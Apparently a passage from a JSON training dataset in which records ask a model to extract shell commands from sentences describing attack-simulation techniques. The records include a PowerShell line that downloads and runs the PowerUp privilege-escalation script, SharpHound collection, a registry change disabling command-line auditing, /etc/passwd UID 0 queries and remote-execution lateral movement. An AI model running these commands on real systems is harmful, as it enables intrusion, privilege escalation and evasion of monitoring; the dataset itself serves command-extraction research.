https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a startup PIN alongside TPM in Bitlocker, run the command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePIN /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UsePIN /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For copying file.cab to the destination, start by cleaning up the temp directory and then run the following:\ndel %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} \"#{replace_cab}\" %TEMP% /A\n",
    "output": "{\"command_list\": [\"del %TEMP%\\\\redcanary.cab >nul 2>&1\\n#{Path_replace} \\\"#{replace_cab}\\\" %TEMP% /A\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view accounts with UID 0, run the following command: grep 'x:0:' /etc/passwd > #{output_file}\ngrep '*:0:' /etc/passwd >> #{output_file}\ncat #{output_file} 2>/dev/null\n",
    "output": "{\"command_list\": [\"grep 'x:0:' /etc/passwd > #{output_file}\\ngrep '*:0:' /etc/passwd >> #{output_file}\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In Windows systems, command line auditing can be disabled by modifying the registry with the following command: New-ItemProperty -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\" -Name \"ProcessCreationIncludeCmdLine_Enabled\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\Audit\\\" -Name \\\"ProcessCreationIncludeCmdLine_Enabled\\\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For local host lateral movement simulation, PowerShell will run `whoami` through remote execution with this command: \nEnable-PSRemoting -Force\nInvoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}",
    "output": "{\"command_list\": [\"Enable-PSRemoting -Force\\nInvoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For situational awareness and low-noise enumeration, use the following command:\n\"#{trufflesnout_path}\" forest -n #{domain}\n\"#{trufflesnout_path}\" domain -n #{domain}",
    "output": "{\"command_list\": [\"\\\"#{trufflesnout_path}\\\" forest -n #{domain}\\n\\\"#{trufflesnout_path}\\\" domain -n #{domain}\\n\"]}"
  }
]